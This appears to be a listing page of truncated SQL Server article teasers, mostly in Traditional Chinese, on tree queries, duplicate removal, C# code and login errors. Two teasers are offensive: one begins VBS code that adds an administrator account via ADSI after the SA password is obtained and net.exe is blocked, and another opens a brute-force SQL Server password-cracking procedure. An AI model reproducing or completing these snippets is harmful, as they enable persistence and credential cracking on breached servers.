和oracle 中的connect by 不一樣的是,在 sql server 2000 中,沒有相同的使用方法,需要自已寫。 如下:有一張組織機構表,有兩個關鍵字段:groupid, g_parentid, 前者是本身的ID,後者是父節點的ID,需要通過 sql 讀出樹形的結構,具體如下: 一、建表:if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sys_Group]') and
刪除資料庫中重複資料的幾個方法 資料庫的使用過程中由於程式方面的問題有時候會碰到重複資料,重複資料導致了資料庫部分設定不能正確設定…… 方法一 declare @max integer,@id integer declare cur_rows cursor local for select 主欄位,count(*) from 表名 group by 主欄位 having count(*) > 1 open cur_rows fetch cur_rows into @id,
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Windows.Forms;using System.Data.SqlClient;namespace StoreTest{ public partial class
SQL SERVER – Fix : Error: 4064 – Cannot open user default database. Login failed. Login failed for userNovember 4, 2008 by pinaldave Ihave received following question nearly 10 times in last week thoughemails. Many users have received following
下面就以一個簡單的例子來示範如何用 C# 編寫擴充預存程序。首先,我們建立一個簡單的C#類庫檔案://C# file: Csserver.cs using System; using System.Runtime.InteropServices; using System.Reflection; using System.Runtime.CompilerServices; [assembly: AssemblyTitle("CSServer")] [assembly:
在獲得SA密碼後,往往因為伺服器管理者或”前人”將net.exe和net1.exe被限制使用,無法添加管理員帳號。我們知道VBS在活動目錄(ADSI)部分有一個winnt對象,用來管理本地資源,利用它可以不依靠CMD等命令就能添加一個管理員,具體代碼如下: set wsnetwork=CreateObject("WSCRIPT.netWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os)
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure [dbo].[p_GetPassword] GO /*--窮舉法破解 SQL Server